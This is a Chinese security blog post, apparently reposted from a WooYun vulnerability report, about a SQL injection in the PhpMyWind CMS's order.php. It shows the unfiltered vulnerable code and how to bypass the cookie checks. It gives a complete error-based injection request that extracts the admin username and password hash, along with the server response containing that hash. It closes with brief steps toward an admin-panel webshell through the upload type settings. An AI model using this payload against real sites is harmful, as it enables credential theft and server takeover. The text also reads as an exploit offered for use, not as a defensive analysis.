PhpMyWind最新版本注入+后台getshell

  • A+
所属分类:漏洞时代
摘要

转自http://wooyun.org/bugs/wooyun-2010-051256洞主文中没说清楚,厂商也忽略了。简要分析如下

转自http://wooyun.org/bugs/wooyun-2010-051256

洞主文中没说清楚,厂商也忽略了。

简要分析如下

漏洞出在/order.php中

[php]

function GetTopType($tbname='', $tbname2='', $colname='', $id=0, $i=0)
{
global $dosql;

if(isset($_GET['id']))
{
$r = $dosql->GetOne("SELECT `$colname` FROM `$tbname2` WHERE `id`=".$_GET['id']);//没过滤
}
...

[/php]

不过要利用这处漏洞需要绕过下面的代码

[php]

//初始化购物车字符串
if(empty($_COOKIE['shoppingcart']))
{
header('location:shoppingcart.php');
exit();
}

//不允许游客下单跳转登陆
if(empty($_COOKIE['username']))
{
header('location:member.php?c=login');
exit();
}

[/php]

绕过也很简单,Cookie设置一下即可。
利用:

[php]

GET /[email protected]`'`%20UnIon%20select%20username%20from%20`pmw_admin`%20where%20(select%201%20from%20(select%20count(*)%20,concat(0x7c,(select%20concat(username,0x3a,password)%20from%20pmw_admin%20limit%200,1),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%[email protected]`'` HTTP/1.1
Host: 0day5.com
Cookie: shoppingcart=a;username=b

 

[/php]

响应包结果:

[php]
duplicate entry '|admin:c3284d0f94606de1fd2af172aba15bf3|1' for key 'group_key' Error sql: SELECT `getmode` FROM `pmw_goodsorder` WHERE `id`[email protected]`'` UnIon select username from `pmw_admin` where (select 1 from (select count(*) ,concat(0x7c,(select concat(username,0x3a,password) from pmw_admin limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) and [email protected]`'

[/php]

---------------------------

附一则后台getshell办法(windows服务器)

网站系统管理——网站信息配置——附件设置

上传图片类型

PhpMyWind最新版本注入+后台getshell

然后在Burp中

PhpMyWind最新版本注入+后台getshell

 

over.

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: